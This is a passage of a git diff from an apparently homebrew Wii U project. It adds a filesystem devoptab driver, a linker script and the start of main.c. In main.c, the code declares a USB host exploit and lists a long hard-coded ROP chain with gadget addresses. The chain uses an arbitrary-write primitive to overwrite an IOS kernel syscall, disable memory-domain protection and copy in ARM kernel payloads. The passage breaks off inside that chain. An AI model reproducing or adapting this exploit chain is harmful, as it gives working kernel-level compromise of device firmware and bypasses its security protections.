OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSOpenFile(dev->pClient, dev->pCmd, real_path, mode_str, &fd, -1); + + free(real_path); + + if(result == 0) + { + FSStat stats; + result = FSGetStatFile(dev->pClient, dev->pCmd, fd, &stats, -1); + if(result != 0) { + FSCloseFile(dev->pClient, dev->pCmd, fd, -1); + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; + } + file->fd = fd; + file->pos = 0; + file->len = stats.size; + OSUnlockMutex(dev->pMutex); + return (int)file; + } + + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; +} + + +static int sd_fat_close_r (struct _reent *r, int fd) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + int result = FSCloseFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return -1; + } + return 0; +} + +static off_t sd_fat_seek_r (struct _reent *r, int fd, off_t pos, int dir) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return 0; + } + + OSLockMutex(file->dev->pMutex); + + switch(dir) + { + case SEEK_SET: + file->pos = pos; + break; + case SEEK_CUR: + file->pos += pos; + break; + case SEEK_END: + file->pos = file->len + pos; + break; + default: + r->_errno = EINVAL; + return -1; + } + + int result = FSSetPosFile(file->dev->pClient, file->dev->pCmd, file->fd, file->pos, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result == 0) + { + return file->pos; + } + + return result; +} + +static ssize_t sd_fat_write_r (struct _reent *r, int fd, const char *ptr, size_t len) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return 0; + } + + if(!file->write) + { + r->_errno = EACCES; + return 0; + } + + OSLockMutex(file->dev->pMutex); + + size_t len_aligned = FS_ALIGN(len); + if(len_aligned > 0x4000) + len_aligned = 0x4000; + + unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); + if(!tmpBuf) { + r->_errno = ENOMEM; + OSUnlockMutex(file->dev->pMutex); + return 0; + } + + size_t done = 0; + + while(done < len) + { + size_t write_size = (len_aligned < (len - done)) ? len_aligned : (len - done); + memcpy(tmpBuf, ptr + done, write_size); + + int result = FSWriteFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, write_size, file->fd, 0, -1); + if(result < 0) + { + r->_errno = result; + break; + } + else if(result == 0) + { + if(write_size > 0) + done = 0; + break; + } + else + { + done += result; + file->pos += result; + } + } + + free(tmpBuf); + OSUnlockMutex(file->dev->pMutex); + return done; +} + +static ssize_t sd_fat_read_r (struct _reent *r, int fd, char *ptr, size_t len) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return 0; + } + + if(!file->read) + { + r->_errno = EACCES; + return 0; + } + + OSLockMutex(file->dev->pMutex); + + size_t len_aligned = FS_ALIGN(len); + if(len_aligned > 0x4000) + len_aligned = 0x4000; + + unsigned char *tmpBuf = (unsigned char *)memalign(FS_ALIGNMENT, len_aligned); + if(!tmpBuf) { + r->_errno = ENOMEM; + OSUnlockMutex(file->dev->pMutex); + return 0; + } + + size_t done = 0; + + while(done < len) + { + size_t read_size = (len_aligned < (len - done)) ? len_aligned : (len - done); + + int result = FSReadFile(file->dev->pClient, file->dev->pCmd, tmpBuf, 0x01, read_size, file->fd, 0, -1); + if(result < 0) + { + r->_errno = result; + done = 0; + break; + } + else if(result == 0) + { + //! TODO: error on read_size > 0 + break; + } + else + { + memcpy(ptr + done, tmpBuf, read_size); + done += result; + file->pos += result; + } + } + + free(tmpBuf); + OSUnlockMutex(file->dev->pMutex); + return done; +} + + +static int sd_fat_fstat_r (struct _reent *r, int fd, struct stat *st) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + // Zero out the stat buffer + memset(st, 0, sizeof(struct stat)); + + FSStat stats; + int result = FSGetStatFile(file->dev->pClient, file->dev->pCmd, file->fd, &stats, -1); + if(result != 0) { + r->_errno = result; + OSUnlockMutex(file->dev->pMutex); + return -1; + } + + st->st_mode = S_IFREG; + st->st_size = stats.size; + st->st_blocks = (stats.size + 511) >> 9; + st->st_nlink = 1; + + // Fill in the generic entry stats + st->st_dev = stats.ent_id; + st->st_uid = stats.owner_id; + st->st_gid = stats.group_id; + st->st_ino = stats.ent_id; + st->st_atime = stats.mtime; + st->st_ctime = stats.ctime; + st->st_mtime = stats.mtime; + OSUnlockMutex(file->dev->pMutex); + return 0; +} + +static int sd_fat_ftruncate_r (struct _reent *r, int fd, off_t len) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + int result = FSTruncateFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_fsync_r (struct _reent *r, int fd) +{ + sd_fat_file_state_t *file = (sd_fat_file_state_t *)fd; + if(!file->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(file->dev->pMutex); + + int result = FSFlushFile(file->dev->pClient, file->dev->pCmd, file->fd, -1); + + OSUnlockMutex(file->dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_stat_r (struct _reent *r, const char *path, struct stat *st) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + // Zero out the stat buffer + memset(st, 0, sizeof(struct stat)); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + FSStat stats; + + int result = FSGetStat(dev->pClient, dev->pCmd, real_path, &stats, -1); + + free(real_path); + + if(result < 0) { + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; + } + + // mark root also as directory + st->st_mode = ((stats.flag & 0x80000000) || (strlen(dev->mount_path) + 1 == strlen(real_path)))? S_IFDIR : S_IFREG; + st->st_nlink = 1; + st->st_size = stats.size; + st->st_blocks = (stats.size + 511) >> 9; + // Fill in the generic entry stats + st->st_dev = stats.ent_id; + st->st_uid = stats.owner_id; + st->st_gid = stats.group_id; + st->st_ino = stats.ent_id; + st->st_atime = stats.mtime; + st->st_ctime = stats.ctime; + st->st_mtime = stats.mtime; + + OSUnlockMutex(dev->pMutex); + + return 0; +} + +static int sd_fat_link_r (struct _reent *r, const char *existing, const char *newLink) +{ + r->_errno = ENOTSUP; + return -1; +} + +static int sd_fat_unlink_r (struct _reent *r, const char *name) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(name); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(name, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + + int result = FSRemove(dev->pClient, dev->pCmd, real_path, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_chdir_r (struct _reent *r, const char *name) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(name); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(name, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSChangeDir(dev->pClient, dev->pCmd, real_path, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_rename_r (struct _reent *r, const char *oldName, const char *newName) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(oldName); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_oldpath = sd_fat_real_path(oldName, dev); + if(!real_oldpath) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + char *real_newpath = sd_fat_real_path(newName, dev); + if(!real_newpath) { + r->_errno = ENOMEM; + free(real_oldpath); + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSRename(dev->pClient, dev->pCmd, real_oldpath, real_newpath, -1); + + free(real_oldpath); + free(real_newpath); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; + +} + +static int sd_fat_mkdir_r (struct _reent *r, const char *path, int mode) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + int result = FSMakeDir(dev->pClient, dev->pCmd, real_path, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) { + r->_errno = result; + return -1; + } + + return 0; +} + +static int sd_fat_statvfs_r (struct _reent *r, const char *path, struct statvfs *buf) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dev->pMutex); + + // Zero out the stat buffer + memset(buf, 0, sizeof(struct statvfs)); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return -1; + } + + u64 size; + + int result = FSGetFreeSpaceSize(dev->pClient, dev->pCmd, real_path, &size, -1); + + free(real_path); + + if(result < 0) { + r->_errno = result; + OSUnlockMutex(dev->pMutex); + return -1; + } + + // File system block size + buf->f_bsize = 512; + + // Fundamental file system block size + buf->f_frsize = 512; + + // Total number of blocks on file system in units of f_frsize + buf->f_blocks = size >> 9; // this is unknown + + // Free blocks available for all and for non-privileged processes + buf->f_bfree = buf->f_bavail = size >> 9; + + // Number of inodes at this point in time + buf->f_files = 0xffffffff; + + // Free inodes available for all and for non-privileged processes + buf->f_ffree = 0xffffffff; + + // File system id + buf->f_fsid = (int)dev; + + // Bit mask of f_flag values. + buf->f_flag = 0; + + // Maximum length of filenames + buf->f_namemax = 255; + + OSUnlockMutex(dev->pMutex); + + return 0; +} + +static DIR_ITER *sd_fat_diropen_r (struct _reent *r, DIR_ITER *dirState, const char *path) +{ + sd_fat_private_t *dev = sd_fat_get_device_data(path); + if(!dev) { + r->_errno = ENODEV; + return NULL; + } + + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + + OSLockMutex(dev->pMutex); + + char *real_path = sd_fat_real_path(path, dev); + if(!real_path) { + r->_errno = ENOMEM; + OSUnlockMutex(dev->pMutex); + return NULL; + } + + int dirHandle; + + int result = FSOpenDir(dev->pClient, dev->pCmd, real_path, &dirHandle, -1); + + free(real_path); + + OSUnlockMutex(dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return NULL; + } + + dirIter->dev = dev; + dirIter->dirHandle = dirHandle; + + return dirState; +} + +static int sd_fat_dirclose_r (struct _reent *r, DIR_ITER *dirState) +{ + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + if(!dirIter->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dirIter->dev->pMutex); + + int result = FSCloseDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); + + OSUnlockMutex(dirIter->dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return -1; + } + return 0; +} + +static int sd_fat_dirreset_r (struct _reent *r, DIR_ITER *dirState) +{ + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + if(!dirIter->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dirIter->dev->pMutex); + + int result = FSRewindDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, -1); + + OSUnlockMutex(dirIter->dev->pMutex); + + if(result < 0) + { + r->_errno = result; + return -1; + } + return 0; +} + +static int sd_fat_dirnext_r (struct _reent *r, DIR_ITER *dirState, char *filename, struct stat *st) +{ + sd_fat_dir_entry_t *dirIter = (sd_fat_dir_entry_t *)dirState->dirStruct; + if(!dirIter->dev) { + r->_errno = ENODEV; + return -1; + } + + OSLockMutex(dirIter->dev->pMutex); + + FSDirEntry * dir_entry = malloc(sizeof(FSDirEntry)); + + int result = FSReadDir(dirIter->dev->pClient, dirIter->dev->pCmd, dirIter->dirHandle, dir_entry, -1); + if(result < 0) + { + free(dir_entry); + r->_errno = result; + OSUnlockMutex(dirIter->dev->pMutex); + return -1; + } + + // Fetch the current entry + strcpy(filename, dir_entry->name); + + if(st) + { + memset(st, 0, sizeof(struct stat)); + st->st_mode = (dir_entry->stat.flag & 0x80000000) ? S_IFDIR : S_IFREG; + st->st_nlink = 1; + st->st_size = dir_entry->stat.size; + st->st_blocks = (dir_entry->stat.size + 511) >> 9; + st->st_dev = dir_entry->stat.ent_id; + st->st_uid = dir_entry->stat.owner_id; + st->st_gid = dir_entry->stat.group_id; + st->st_ino = dir_entry->stat.ent_id; + st->st_atime = dir_entry->stat.mtime; + st->st_ctime = dir_entry->stat.ctime; + st->st_mtime = dir_entry->stat.mtime; + } + + free(dir_entry); + OSUnlockMutex(dirIter->dev->pMutex); + return 0; +} + +// NTFS device driver devoptab +static const devoptab_t devops_sd_fat = { + NULL, /* Device name */ + sizeof (sd_fat_file_state_t), + sd_fat_open_r, + sd_fat_close_r, + sd_fat_write_r, + sd_fat_read_r, + sd_fat_seek_r, + sd_fat_fstat_r, + sd_fat_stat_r, + sd_fat_link_r, + sd_fat_unlink_r, + sd_fat_chdir_r, + sd_fat_rename_r, + sd_fat_mkdir_r, + sizeof (sd_fat_dir_entry_t), + sd_fat_diropen_r, + sd_fat_dirreset_r, + sd_fat_dirnext_r, + sd_fat_dirclose_r, + sd_fat_statvfs_r, + sd_fat_ftruncate_r, + sd_fat_fsync_r, + NULL, /* sd_fat_chmod_r */ + NULL, /* sd_fat_fchmod_r */ + NULL /* Device data */ +}; + +static int sd_fat_add_device (const char *name, const char *mount_path, void *pClient, void *pCmd) +{ + devoptab_t *dev = NULL; + char *devname = NULL; + char *devpath = NULL; + int i; + + // Sanity check + if (!name) { + errno = EINVAL; + return -1; + } + + // Allocate a devoptab for this device + dev = (devoptab_t *) malloc(sizeof(devoptab_t) + strlen(name) + 1); + if (!dev) { + errno = ENOMEM; + return -1; + } + + // Use the space allocated at the end of the devoptab for storing the device name + devname = (char*)(dev + 1); + strcpy(devname, name); + + // create private data + sd_fat_private_t *priv = (sd_fat_private_t *)malloc(sizeof(sd_fat_private_t) + strlen(mount_path) + 1); + if(!priv) { + free(dev); + errno = ENOMEM; + return -1; + } + + devpath = (char*)(priv+1); + strcpy(devpath, mount_path); + + // setup private data + priv->mount_path = devpath; + priv->pClient = pClient; + priv->pCmd = pCmd; + priv->pMutex = malloc(OS_MUTEX_SIZE); + + if(!priv->pMutex) { + free(dev); + free(priv); + errno = ENOMEM; + return -1; + } + + OSInitMutex(priv->pMutex); + + // Setup the devoptab + memcpy(dev, &devops_sd_fat, sizeof(devoptab_t)); + dev->name = devname; + dev->deviceData = priv; + + // Add the device to the devoptab table (if there is a free slot) + for (i = 3; i < STD_MAX; i++) { + if (devoptab_list[i] == devoptab_list[0]) { + devoptab_list[i] = dev; + return 0; + } + } + + // failure, free all memory + free(priv); + free(dev); + + // If we reach here then there are no free slots in the devoptab table for this device + errno = EADDRNOTAVAIL; + return -1; +} + +static int sd_fat_remove_device (const char *path, void **pClient, void **pCmd, char **mountPath) +{ + const devoptab_t *devoptab = NULL; + char name[128] = {0}; + int i; + + // Get the device name from the path + strncpy(name, path, 127); + strtok(name, ":/"); + + // Find and remove the specified device from the devoptab table + // NOTE: We do this manually due to a 'bug' in RemoveDevice + // which ignores names with suffixes and causes names + // like "ntfs" and "ntfs1" to be seen as equals + for (i = 3; i < STD_MAX; i++) { + devoptab = devoptab_list[i]; + if (devoptab && devoptab->name) { + if (strcmp(name, devoptab->name) == 0) { + devoptab_list[i] = devoptab_list[0]; + + if(devoptab->deviceData) + { + sd_fat_private_t *priv = (sd_fat_private_t *)devoptab->deviceData; + *pClient = priv->pClient; + *pCmd = priv->pCmd; + *mountPath = (char*) malloc(strlen(priv->mount_path)+1); + if(*mountPath) + strcpy(*mountPath, priv->mount_path); + if(priv->pMutex) + free(priv->pMutex); + free(devoptab->deviceData); + } + + free((devoptab_t*)devoptab); + return 0; + } + } + } + + return -1; +} + +int mount_sd_fat(const char *path) +{ + int result = -1; + + // get command and client + void* pClient = malloc(FS_CLIENT_SIZE); + void* pCmd = malloc(FS_CMD_BLOCK_SIZE); + + if(!pClient || !pCmd) { + // just in case free if not 0 + if(pClient) + free(pClient); + if(pCmd) + free(pCmd); + return -2; + } + + FSInit(); + FSInitCmdBlock(pCmd); + FSAddClientEx(pClient, 0, -1); + + char *mountPath = NULL; + + if(MountFS(pClient, pCmd, &mountPath) == 0) { + result = sd_fat_add_device(path, mountPath, pClient, pCmd); + free(mountPath); + } + + return result; +} + +int unmount_sd_fat(const char *path) +{ + void *pClient = 0; + void *pCmd = 0; + char *mountPath = 0; + + int result = sd_fat_remove_device(path, &pClient, &pCmd, &mountPath); + if(result == 0) + { + UmountFS(pClient, pCmd, mountPath); + FSDelClient(pClient); + free(pClient); + free(pCmd); + free(mountPath); + //FSShutdown(); + } + return result; +} diff --git a/src/fs/sd_fat_devoptab.h b/src/fs/sd_fat_devoptab.h new file mode 100644 index 0000000..8df487a --- /dev/null +++ b/src/fs/sd_fat_devoptab.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __SD_FAT_DEVOPTAB_H_ +#define __SD_FAT_DEVOPTAB_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +int mount_sd_fat(const char *path); +int unmount_sd_fat(const char *path); + +#ifdef __cplusplus +} +#endif + +#endif // __SD_FAT_DEVOPTAB_H_ diff --git a/src/link.ld b/src/link.ld new file mode 100644 index 0000000..fc569d1 --- /dev/null +++ b/src/link.ld @@ -0,0 +1,40 @@ +OUTPUT(ftpiiu.elf); + +/* Tell linker where our application entry is so the garbage collect can work correct */ +ENTRY(__entry_menu); + +SECTIONS { + . = 0x00802000; + .text : { + *(.text*); + } + .rodata : { + *(.rodata*); + } + .data : { + *(.data*); + + __sdata_start = .; + *(.sdata*); + __sdata_end = .; + + __sdata2_start = .; + *(.sdata2*); + __sdata2_end = .; + } + .bss : { + __bss_start = .; + *(.bss*); + *(.sbss*); + *(COMMON); + __bss_end = .; + } + __CODE_END = .; + + /DISCARD/ : { + *(*); + } +} + +/******************************************************** FS ********************************************************/ +/* coreinit.rpl difference in addresses 0xFE3C00 */ diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..a71d859 --- /dev/null +++ b/src/main.c @@ -0,0 +1,475 @@ +#include +#include +#include +#include +#include +#include +#include +#include "dynamic_libs/os_functions.h" +#include "dynamic_libs/fs_functions.h" +#include "dynamic_libs/gx2_functions.h" +#include "dynamic_libs/sys_functions.h" +#include "dynamic_libs/vpad_functions.h" +#include "dynamic_libs/socket_functions.h" +#include "fs/fs_utils.h" +#include "fs/sd_fat_devoptab.h" +#include "system/memory.h" +#include "utils/logger.h" +#include "utils/utils.h" +#include "common/common.h" +#include "menu.h" +#include "main.h" + +#define ALIGN4(x) (((x) + 3) & ~3) + +#define CHAIN_START 0x1016AD40 +#define SHUTDOWN 0x1012EE4C +#define SIMPLE_RETURN 0x101014E4 +#define SOURCE (0x120000) +#define IOS_CREATETHREAD 0x1012EABC +#define ARM_CODE_BASE 0x08135000 +#define REPLACE_SYSCALL 0x081298BC + +extern const u8 launch_image_tga[]; +extern const u32 launch_image_tga_size; + +static void uhs_exploit_init(int uhs_handle, cfw_config_t * config); +static int uhs_write32(int uhs_handle, int arm_addr, int val); + +/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ +#include "../ios_kernel/ios_kernel.bin.h" +#include "../ios_usb/ios_usb.bin.h" +#include "../ios_fs/ios_fs.bin.h" +#include "../ios_bsp/ios_bsp.bin.h" +#include "../ios_mcp/ios_mcp.bin.h" + + +/* ROP CHAIN STARTS HERE (0x1015BD78) */ +static const int final_chain[] = { + 0x101236f3, // 0x00 POP {R1-R7,PC} + 0x0, // 0x04 arg + 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR + 0x68, // 0x0C stacksize + 0x10101638, // 0x10 + 0x0, // 0x14 + 0x0, // 0x18 + 0x0, // 0x1C + 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} + 0x0, // 0x24 + 0x0, // 0x28 + 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x30 + 0x0, // 0x34 + IOS_CREATETHREAD, // 0x38 + 0x1, // 0x3C + 0x2, // 0x40 + 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE92D4010, // 0x4C value: PUSH {R4,LR} + 0x0, // 0x50 + 0x10123a8b, // 0x54 POP {R3,R4,PC} + 0x1, // 0x58 R3 must be 1 for the arbitrary write + 0x0, // 0x5C + 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x64 + 0x0, // 0x68 + 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) + 0x0, // 0x70 + 0x0, // 0x74 + 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A04000, // 0x80 value: MOV R4, R0 + 0x0, // 0x84 + 0x10123a8b, // 0x88 POP {R3,R4,PC} + 0x1, // 0x8C R3 must be 1 for the arbitrary write + 0x0, // 0x90 + 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x98 + 0x0, // 0x9C + 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) + 0x0, // 0xA4 + 0x0, // 0xA8 + 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF + 0x0, // 0xB8 + 0x10123a8b, // 0xBC POP {R3,R4,PC} + 0x1, // 0xC0 R3 must be 1 for the arbitrary write + 0x0, // 0xC4 + 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0xCC + 0x0, // 0xD0 + 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) + 0x0, // 0xD8 + 0x0, // 0xDC + 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) + 0x0, // 0xEC + 0x10123a8b, // 0xF0 POP {R3,R4,PC} + 0x1, // 0xF4 R3 must be 1 for the arbitrary write + 0x0, // 0xF8 + 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x100 + 0x0, // 0x104 + 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) + 0x0, // 0x10C + 0x0, // 0x110 + 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A00004, // 0x11C value: MOV R0, R4 + 0x0, // 0x120 + 0x10123a8b, // 0x124 POP {R3,R4,PC} + 0x1, // 0x128 R3 must be 1 for the arbitrary write + 0x0, // 0x12C + 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x134 + 0x0, // 0x138 + 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) + 0x0, // 0x140 + 0x0, // 0x144 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x00000000, // 0x150 value: NOP + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0x1AFFFFFD, // 0x150 value: BNE clean_loop + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 + 0x0, // 0x154 + 0x10123a8b, // 0x158 POP {R3,R4,PC} + 0x1, // 0x15C R3 must be 1 for the arbitrary write + 0x0, // 0x160 + 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x168 + 0x0, // 0x16C + 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) + 0x0, // 0x174 + 0x0, // 0x178 + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE1A03004, // 0x184 value: MOV R3, R4 + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} + 0x0, // 0x19C + 0x0, // 0x1A0 + 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) + 0x0, // 0x1A8 + 0x0, // 0x1AC + 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} + REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) + 0xE8BD4010, // 0x184 value: POP {R4,LR} + 0x0, // 0x188 + 0x10123a8b, // 0x18C POP {R3,R4,PC} + 0x1, // 0x190 R3 must be 1 for the arbitrary write + 0x0, // 0x194 + 0x1010CD18, // 0x198 MOV R12, R0; 